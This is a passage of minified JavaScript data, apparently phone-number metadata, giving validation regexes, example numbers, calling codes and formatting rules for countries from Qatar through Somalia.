$3",["[2-7]|85"],"0$1"],[null,"(\\d{3})(\\d{6})","$1 $2",["9"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["8"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"[2-9]0\\d{4,7}",null,null,null,"201234567"],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],QA:[null,[null,null,"(?:(?:2|[3-7]\\d)\\d\\d|800)\\d{4}",null,null,null,null,null,null,[7,8]],[null,null,"4[04]\\d{6}",null,null,null,"44123456",null,null,[8]],[null,null,"[35-7]\\d{7}",null,null,null,"33123456",null,null,[8]],[null,null,"800\\d{4}",null,null,null,"8001234",null,null,[7]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"QA",974,"00",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{4})","$1 $2",["2[126]|8"]],[null,"(\\d{4})(\\d{4})","$1 $2",["[3-7]"]]],null,[null,null,"2(?:[12]\\d|61)\\d{4}",null,null,null,"2123456",null,null,[7]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],RE:[null,[null,null,"(?:26|[68]\\d)\\d{7}",null,null,null,null,null,null,[9]],[null,null,"262\\d{6}",null,null,null,"262161234"],[null,null,"69(?:2\\d\\d|3(?:0[0-46]|1[013]|2[0-2]|3[0-39]|4\\d|5[05]|6[0-26]|7[0-27]|8[0-38]|9[0-479]))\\d{4}",null,null,null,"692123456"],[null,null,"80\\d{7}",null,null,null,"801234567"],[null,null,"89[1-37-9]\\d{6}",null,null,null,"891123456"],[null,null,"8(?:1[019]|2[0156]|84|90)\\d{6}",null,null,null,"810123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"RE",262,"00","0",null,null,"0",null,null,null,[[null,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[268]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],1,"262|69|8",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],RO:[null,[null,null,"(?:[237]\\d|[89]0)\\d{7}|[23]\\d{5}",null,null,null,null,null,null,[6,9]],[null,null,"[23][13-6]\\d{7}|(?:2(?:19\\d|[3-6]\\d9)|31\\d\\d)\\d\\d",null,null,null,"211234567"],[null,null,"7(?:(?:[02-7]\\d|8[03-8]|99)\\d|1(?:[01]\\d|20))\\d{5}",null,null,null,"712034567",null,null,[9]],[null,null,"800\\d{6}",null,null,null,"800123456",null,null,[9]],[null,null,"90[036]\\d{6}",null,null,null,"900123456",null,null,[9]],[null,null,"801\\d{6}",null,null,null,"801123456",null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"RO",40,"00","0"," int ",null,"0",null,null,null,[[null,"(\\d{2})(\\d{4})","$1 $2",["219|31"],"0$1"],[null,"(\\d{3})(\\d{3})","$1 $2",["2[3-6]","2[3-6]\\d9"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[23]1"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[237-9]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"37\\d{7}",null,null,null,"372123456",null,null,[9]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],RS:[null,[null,null,"[127]\\d{6,11}|3(?:[0-79]\\d{5,10}|8(?:[02-9]\\d{4,9}|1\\d{4,5}))|6\\d{7,9}|800\\d{3,9}|90\\d{4,8}|7\\d{5}",null,null,null,null,null,null,[6,7,8,9,10,11,12],[4,5]],[null,null,"(?:1(?:[02-9][2-9]|1[1-9])\\d|2(?:[0-24-7][2-9]\\d|[389](?:0[2-9]|[2-9]\\d))|3(?:[0-8][2-9]\\d|9(?:0[2-9]|[2-9]\\d)))\\d{3,8}",null,null,null,"10234567",null,null,[7,8,9,10,11,12],[4,5,6]],[null,null,"6(?:[0-689]|7\\d)\\d{6,7}",null,null,null,"601234567",null,null,[8,9,10]],[null,null,"800\\d{3,9}",null,null,null,"80012345"],[null,null,"(?:78\\d|90[0169])\\d{3,7}",null,null,null,"90012345",null,null,[6,7,8,9,10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"RS",381,"00","0",null,null,"0",null,null,null,[[null,"(\\d{3})(\\d{3,9})","$1 $2",["(?:2[389]|39)0|[7-9]"],"0$1"],[null,"(\\d{2})(\\d{5,10})","$1 $2",["[1-36]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"7[06]\\d{4,10}",null,null,null,"700123456"],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],RU:[null,[null,null,"[347-9]\\d{9}",null,null,null,null,null,null,[10],[7]],[null,null,"(?:3(?:0[12]|4[1-35-79]|5[1-3]|65|8[1-58]|9[0145])|4(?:01|1[1356]|2[13467]|7[1-5]|8[1-7]|9[1-689])|8(?:1[1-8]|2[01]|3[13-6]|4[0-8]|5[15]|6[1-35-79]|7[1-37-9]))\\d{7}",null,null,null,"3011234567",null,null,null,[7]],[null,null,"9\\d{9}",null,null,null,"9123456789"],[null,null,"80[04]\\d{7}",null,null,null,"8001234567"],[null,null,"80[39]\\d{7}",null,null,null,"8091234567"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"808\\d{7}",null,null,null,"8081234567"],[null,null,null,null,null,null,null,null,null,[-1]],"RU",7,"810","8",null,null,"8",null,"8~10",null,[[null,"(\\d{3})(\\d{2})(\\d{2})","$1-$2-$3"],[null,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["7"],"8 ($1)",null,1],[null,"(\\d{3})(\\d{3})(\\d{2})(\\d{2})","$1 $2-$3-$4",["[3489]"],"8 ($1)",null,1]],[[null,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["7"],"8 ($1)",null,1],[null,"(\\d{3})(\\d{3})(\\d{2})(\\d{2})","$1 $2-$3-$4",["[3489]"],"8 ($1)",null,1]],[null,null,null,null,null,null,null,null,null,[-1]],1,"3[04-689]|[489]",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],RW:[null,[null,null,"(?:06|[27]\\d\\d|[89]00)\\d{6}",null,null,null,null,null,null,[8,9]],[null,null,"(?:06|2[258]\\d)\\d{6}",null,null,null,"250123456"],[null,null,"7[238]\\d{7}",null,null,null,"720123456",null,null,[9]],[null,null,"800\\d{6}",null,null,null,"800123456",null,null,[9]],[null,null,"900\\d{6}",null,null,null,"900123456",null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"RW",250,"00","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["0"]],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["2"]],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[7-9]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],SA:[null,[null,null,"(?:(?:[15]|8\\d)\\d|92)\\d{7}",null,null,null,null,null,null,[9,10],[7]],[null,null,"1(?:1\\d|2[24-8]|3[35-8]|4[3-68]|6[2-5]|7[235-7])\\d{6}",null,null,null,"112345678",null,null,[9],[7]],[null,null,"5(?:[013-689]\\d|7[0-36-8])\\d{6}",null,null,null,"512345678",null,null,[9]],[null,null,"800\\d{7}",null,null,null,"8001234567",null,null,[10]],[null,null,"925\\d{6}",null,null,null,"925012345",null,null,[9]],[null,null,"920\\d{6}",null,null,null,"920012345",null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"SA",966,"00","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["1"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["5"],"0$1"],[null,"(\\d{4})(\\d{5})","$1 $2",["9"]],[null,"(\\d{3})(\\d{3})(\\d{3,4})","$1 $2 $3",["81"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["8"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"811\\d{7}",null,null,null,"8110123456",null,null,[10]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],SB:[null,[null,null,"(?:[1-6]|[7-9]\\d\\d)\\d{4}",null,null,null,null,null,null,[5,7]],[null,null,"(?:1[4-79]|[23]\\d|4[0-2]|5[03]|6[0-37])\\d{3}",null,null,null,"40123",null,null,[5]],[null,null,"(?:48|(?:(?:7[1-9]|8[4-9])\\d|9(?:1[2-9]|2[013-9]|3[0-2]|[46]\\d|5[0-46-9]|7[0-689]|8[0-79]|9[0-8]))\\d)\\d{3}",null,null,null,"7421234"],[null,null,"1[38]\\d{3}",null,null,null,"18123",null,null,[5]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5[12]\\d{3}",null,null,null,"51123",null,null,[5]],"SB",677,"0[01]",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{5})","$1 $2",["7[1-9]|8[4-9]|9(?:1[2-9]|2[013-9]|3[0-2]|[46]|5[0-46-9]|7[0-689]|8[0-79]|9[0-8])"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],SC:[null,[null,null,"(?:(?:(?:[24]\\d|64)\\d|971)\\d|8000)\\d{3}",null,null,null,null,null,null,[7]],[null,null,"4[2-46]\\d{5}",null,null,null,"4217123"],[null,null,"2[5-8]\\d{5}",null,null,null,"2510123"],[null,null,"8000\\d{3}",null,null,null,"8000000"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"(?:64\\d|971)\\d{4}",null,null,null,"6412345"],"SC",248,"0(?:[02]|10?)",null,null,null,null,null,"00",null,[[null,"(\\d)(\\d{3})(\\d{3})","$1 $2 $3",["[246]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],SD:[null,[null,null,"[19]\\d{8}",null,null,null,null,null,null,[9]],[null,null,"1(?:5\\d|8[35-7])\\d{6}",null,null,null,"151231234"],[null,null,"(?:1[0-2]|9[0-3569])\\d{7}",null,null,null,"911231234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"SD",249,"00","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[19]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],SE:[null,[null,null,"(?:[26]\\d\\d|9)\\d{9}|[1-9]\\d{8}|[1-689]\\d{7}|[1-4689]\\d{6}|2\\d{5}",null,null,null,null,null,null,[6,7,8,9,10,12]],[null,null,"1(?:0[1-8]\\d{6}|(?:[13689]\\d|2[0-35]|4[0-4]|5[0-25-9]|7[13-6])\\d{5,6})|(?:2(?:[136]\\d|2[0-7]|4[0136-8]|5[0138]|7[018]|8[01]|9[0-57])|3(?:0[0-4]|[1356]\\d|2[0-25]|4[056]|7[0-2]|8[0-3]|9[023])|5(?:0[0-6]|[15][0-5]|2[0-68]|3[0-4]|4\\d|6[03-5]|7[013]|8[0-79]|9[01]))\\d{5,6}|4(?:[0246]\\d{5,7}|(?:1[013-8]|3[0135]|5[14-79]|7[0-246-9]|8[0156]|9[0-689])\\d{5,6})|6(?:[03]\\d{5,7}|(?:1[1-3]|2[0-4]|4[02-57]|5[0-37]|6[0-3]|7[0-2]|8[0247]|9[0-356])\\d{5,6})|8\\d{6,8}|9(?:0[1-9]\\d{4,6}|(?:1[0-68]|2\\d|3[02-5]|4[0-3]|5[0-4]|[68][01]|7[0135-8])\\d{5,6})|(?:[12][136]|3[356])\\d{5}",null,null,null,"8123456",null,null,[7,8,9]],[null,null,"7[02369]\\d{7}",null,null,null,"701234567",null,null,[9]],[null,null,"20\\d{4,7}",null,null,null,"20123456",null,null,[6,7,8,9]],[null,null,"649\\d{6}|9(?:00|39|44)[1-8]\\d{3,6}",null,null,null,"9001234567",null,null,[7,8,9,10]],[null,null,"77[0-7]\\d{6}",null,null,null,"771234567",null,null,[9]],[null,null,"75[1-8]\\d{6}",null,null,null,"751234567",null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],"SE",46,"00","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{2,3})(\\d{2})","$1-$2 $3",["20"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{2})","$1-$2 $3",["[12][136]|3[356]|4[0246]|6[03]|90[1-9]"],"0$1"],[null,"(\\d{3})(\\d{4})","$1-$2",["9(?:00|39|44)"],"0$1"],[null,"(\\d)(\\d{2,3})(\\d{2})(\\d{2})","$1-$2 $3 $4",["8"],"0$1"],[null,"(\\d{3})(\\d{2,3})(\\d{2})","$1-$2 $3",["1[2457]|2(?:[247-9]|5[0138])|3[0247-9]|4[1357-9]|5[0-35-9]|6(?:[125689]|4[02-57]|7[0-2])|9(?:[125-8]|3[02-5]|4[0-3])"],"0$1"],[null,"(\\d{2})(\\d{2,3})(\\d{2})(\\d{2})","$1-$2 $3 $4",["1[013689]|2[0136]|3[1356]|4[0246]|54|6[03]|90[1-9]"],"0$1"],[null,"(\\d{3})(\\d{2,3})(\\d{3})","$1-$2 $3",["9(?:0|39|44)"],"0$1"],[null,"(\\d)(\\d{3})(\\d{3})(\\d{2})","$1-$2 $3 $4",["8"],"0$1"],[null,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1-$2 $3 $4",["[13-5]|2(?:[247-9]|5[0138])|6(?:[124-689]|7[0-2])|9(?:[125-8]|3[02-5]|4[0-3])"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1-$2 $3 $4",["7"],"0$1"],[null,"(\\d{3})(\\d{2})(\\d{2})(\\d{3})","$1-$2 $3 $4",["9"],"0$1"],[null,"(\\d{3})(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1-$2 $3 $4 $5",["[26]"],"0$1"]],[[null,"(\\d{2})(\\d{2,3})(\\d{2})","$1 $2 $3",["20"]],[null,"(\\d{2})(\\d{3})(\\d{2})","$1 $2 $3",["[12][136]|3[356]|4[0246]|6[03]|90[1-9]"]],[null,"(\\d{3})(\\d{4})","$1 $2",["9(?:00|39|44)"]],[null,"(\\d)(\\d{2,3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["8"]],[null,"(\\d{3})(\\d{2,3})(\\d{2})","$1 $2 $3",["1[2457]|2(?:[247-9]|5[0138])|3[0247-9]|4[1357-9]|5[0-35-9]|6(?:[125689]|4[02-57]|7[0-2])|9(?:[125-8]|3[02-5]|4[0-3])"]],[null,"(\\d{2})(\\d{2,3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["1[013689]|2[0136]|3[1356]|4[0246]|54|6[03]|90[1-9]"]],[null,"(\\d{3})(\\d{2,3})(\\d{3})","$1 $2 $3",["9(?:0|39|44)"]],[null,"(\\d)(\\d{3})(\\d{3})(\\d{2})","$1 $2 $3 $4",["8"]],[null,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[13-5]|2(?:[247-9]|5[0138])|6(?:[124-689]|7[0-2])|9(?:[125-8]|3[02-5]|4[0-3])"]],[null,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["7"]],[null,"(\\d{3})(\\d{2})(\\d{2})(\\d{3})","$1 $2 $3 $4",["9"]],[null,"(\\d{3})(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4 $5",["[26]"]]],[null,null,"74[02-9]\\d{6}",null,null,null,"740123456",null,null,[9]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,"(?:25[245]|67[3-68])\\d{9}",null,null,null,"254123456789",null,null,[12]]],SG:[null,[null,null,"(?:1\\d{3}|[369]|7000|8(?:\\d{2})?)\\d{7}",null,null,null,null,null,null,[8,10,11]],[null,null,"6[1-9]\\d{6}",null,null,null,"61234567",null,null,[8]],[null,null,"(?:8[1-8]|9[0-8])\\d{6}",null,null,null,"81234567",null,null,[8]],[null,null,"(?:18|8)00\\d{7}",null,null,null,"18001234567",null,null,[10,11]],[null,null,"1900\\d{7}",null,null,null,"19001234567",null,null,[11]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"3[12]\\d{6}",null,null,null,"31234567",null,null,[8]],"SG",65,"0[0-3]\\d",null,null,null,null,null,null,null,[[null,"(\\d{4})(\\d{4})","$1 $2",["[369]|8[1-8]"]],[null,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["8"]],[null,"(\\d{4})(\\d{3})(\\d{4})","$1 $2 $3",["1[89]"]],[null,"(\\d{4})(\\d{4})(\\d{3})","$1 $2 $3",["70"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"7000\\d{7}",null,null,null,"70001234567",null,null,[11]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],
SH:[null,[null,null,"(?:[256]\\d|8)\\d{3}",null,null,null,null,null,null,[4,5]],[null,null,"2(?:[0-57-9]\\d|6[4-9])\\d\\d",null,null,null,"22158"],[null,null,"[56]\\d{4}",null,null,null,"51234",null,null,[5]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"262\\d\\d",null,null,null,"26212",null,null,[5]],"SH",290,"00",null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],1,"[256]",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],SI:[null,[null,null,"[1-8]\\d{7}|90\\d{4,6}|8\\d{4,6}",null,null,null,null,null,null,[5,6,7,8]],[null,null,"(?:[1-357][2-8]|4[24-8])\\d{6}",null,null,null,"12345678",null,null,[8],[7]],[null,null,"(?:(?:[37][01]|4[0139]|51)\\d\\d|6(?:[48]\\d\\d|5(?:1\\d|55|[67]0)|9(?:10|[69]\\d)))\\d{4}",null,null,null,"31234567",null,null,[8]],[null,null,"80\\d{4,6}",null,null,null,"80123456",null,null,[6,7,8]],[null,null,"89[1-3]\\d{2,5}|90\\d{4,6}",null,null,null,"90123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"(?:59\\d\\d|8(?:1(?:[67]\\d|8[01389])|2(?:0\\d|2[0378]|8[0-2489])|3[389]\\d))\\d{4}",null,null,null,"59012345",null,null,[8]],"SI",386,"00|10(?:22|66|88|99)","0",null,null,"0",null,"00",null,[[null,"(\\d{2})(\\d{3,6})","$1 $2",["8[09]|9"],"0$1"],[null,"(\\d)(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[12]|[357][2-8]|4[24-8]"],"(0$1)"],[null,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["[3467]|51"],"0$1"],[null,"(\\d{3})(\\d{5})","$1 $2",["[58]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],SJ:[null,[null,null,"(?:0|(?:[4589]\\d|79)\\d\\d)\\d{4}",null,null,null,null,null,null,[5,8]],[null,null,"79\\d{6}",null,null,null,"79123456",null,null,[8]],[null,null,"(?:4[015-8]|5[89]|9\\d)\\d{6}",null,null,null,"41234567",null,null,[8]],[null,null,"80[01]\\d{5}",null,null,null,"80012345",null,null,[8]],[null,null,"82[09]\\d{5}",null,null,null,"82012345",null,null,[8]],[null,null,"810(?:0[0-6]|[2-8]\\d)\\d{3}",null,null,null,"81021234",null,null,[8]],[null,null,"880\\d{5}",null,null,null,"88012345",null,null,[8]],[null,null,"85[0-5]\\d{5}",null,null,null,"85012345",null,null,[8]],"SJ",47,"00",null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"79",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"(?:0\\d|81(?:0(?:0[7-9]|1\\d)|5\\d\\d))\\d{3}",null,null,null,"01234"],null,null,[null,null,"81[23]\\d{5}",null,null,null,"81212345",null,null,[8]]],SK:[null,[null,null,"[2-689]\\d{8}|[2-59]\\d{6}|[2-5]\\d{5}",null,null,null,null,null,null,[6,7,9]],[null,null,"(?:2(?:16|[2-9]\\d{3})|[3-5][1-8]\\d{3})\\d{4}|(?:2|[3-5][1-8])1[67]\\d{3}|[3-5][1-8]16\\d\\d",null,null,null,"221234567"],[null,null,"9(?:0(?:[1-8]\\d|9[1-9])|(?:1[0-24-9]|[45]\\d)\\d)\\d{5}",null,null,null,"912123456",null,null,[9]],[null,null,"800\\d{6}",null,null,null,"800123456",null,null,[9]],[null,null,"9(?:00|[78]\\d)\\d{6}",null,null,null,"900123456",null,null,[9]],[null,null,"8[5-9]\\d{7}",null,null,null,"850123456",null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"6(?:02|5[0-4]|9[0-6])\\d{6}",null,null,null,"690123456",null,null,[9]],"SK",421,"00","0",null,null,"0",null,null,null,[[null,"(\\d)(\\d{2})(\\d{3,4})","$1 $2 $3",["21"],"0$1"],[null,"(\\d{2})(\\d{2})(\\d{2,3})","$1 $2 $3",["[3-5][1-8]1","[3-5][1-8]1[67]"],"0$1"],[null,"(\\d{4})(\\d{3})","$1 $2",["909","9090"],"0$1"],[null,"(\\d)(\\d{3})(\\d{3})(\\d{2})","$1/$2 $3 $4",["2"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1/$2 $3 $4",["[3-5]"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[689]"],"0$1"]],[[null,"(\\d)(\\d{2})(\\d{3,4})","$1 $2 $3",["21"],"0$1"],[null,"(\\d{2})(\\d{2})(\\d{2,3})","$1 $2 $3",["[3-5][1-8]1","[3-5][1-8]1[67]"],"0$1"],[null,"(\\d)(\\d{3})(\\d{3})(\\d{2})","$1/$2 $3 $4",["2"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1/$2 $3 $4",["[3-5]"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[689]"],"0$1"]],[null,null,"9090\\d{3}",null,null,null,"9090123",null,null,[7]],null,null,[null,null,"(?:(?:602|8(?:00|[5-9]\\d))\\d{3}|9(?:0(?:0\\d{3}|90)|[78]\\d{4}))\\d{3}",null,null,null,null,null,null,[7,9]],[null,null,"96\\d{7}",null,null,null,"961234567",null,null,[9]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],SL:[null,[null,null,"(?:[2-578]\\d|66|99)\\d{6}",null,null,null,null,null,null,[8],[6]],[null,null,"[235]2[2-4][2-9]\\d{4}",null,null,null,"22221234",null,null,null,[6]],[null,null,"(?:2[15]|3[013-5]|4[04]|5[05]|66|7[5-9]|8[08]|99)\\d{6}",null,null,null,"25123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"SL",232,"00","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{6})","$1 $2",["[2-9]"],"(0$1)"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],SM:[null,[null,null,"(?:0549|[5-7]\\d)\\d{6}",null,null,null,null,null,null,[8,10],[6]],[null,null,"0549(?:8[0157-9]|9\\d)\\d{4}",null,null,null,"0549886377",null,null,[10],[6]],[null,null,"6[16]\\d{6}",null,null,null,"66661212",null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"7[178]\\d{6}",null,null,null,"71123456",null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5[158]\\d{6}",null,null,null,"58001110",null,null,[8]],"SM",378,"00",null,null,null,"([89]\\d{5})$","0549$1",null,null,[[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[5-7]"]],[null,"(\\d{4})(\\d{6})","$1 $2",["0"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],SN:[null,[null,null,"(?:[378]\\d{4}|93330)\\d{4}",null,null,null,null,null,null,[9]],[null,null,"3(?:0(?:1[0-2]|80)|282|3(?:8[1-9]|9[3-9])|611)\\d{5}",null,null,null,"301012345"],[null,null,"7(?:[06-8]\\d|21|90)\\d{6}",null,null,null,"701234567"],[null,null,"800\\d{6}",null,null,null,"800123456"],[null,null,"88[4689]\\d{6}",null,null,null,"884123456"],[null,null,"81[02468]\\d{6}",null,null,null,"810123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"(?:3(?:392|9[01]\\d)\\d|93330)\\d{4}",null,null,null,"933301234"],"SN",221,"00",null,null,null,null,null,null,null,[[null,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[379]"]],[null,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["8"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],SO:[null,[null,null,"[346-9]\\d{8}|[12679]\\d{7}|(?:[1-4]\\d|59)\\d{5}|[1348]\\d{5}",null,null,null,null,null,null,[6,7,8,9]],[null,null,"(?:1\\d|2[0-79]|3[0-46-8]|4[0-7]|59)\\d{5}|(?:[134]\\d|8[125])\\d{4}",null,null,null,"4012345",null,null,[6,7]],[null,null,"(?:(?:15|(?:3[59]|4[89]|6[1-9]|79|8[08])\\d|9(?:0[67]|[2-9]))\\d|2(?:4\\d|8))\\d{5}|(?:6\\d|7[1-9])\\d{6}",null,null,null,"71123456",null,null,[7,8,9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"SO",252,"00","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{4})","$1 $2",["8[125]"]],[null,"(\\d{6})","$1",["[134]"]],[null,"(\\d)(\\d{6})","$1 $2",["[15]|2[0-79]|3[0-46-8]|4[0-7]"]],[null,"(\\d)(\\d{7})","$1 $2",["24|[67]"]],[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[348]|64|79[0-8]|90"]],[null,"(\\d{2})(\\d{5,7})","$1 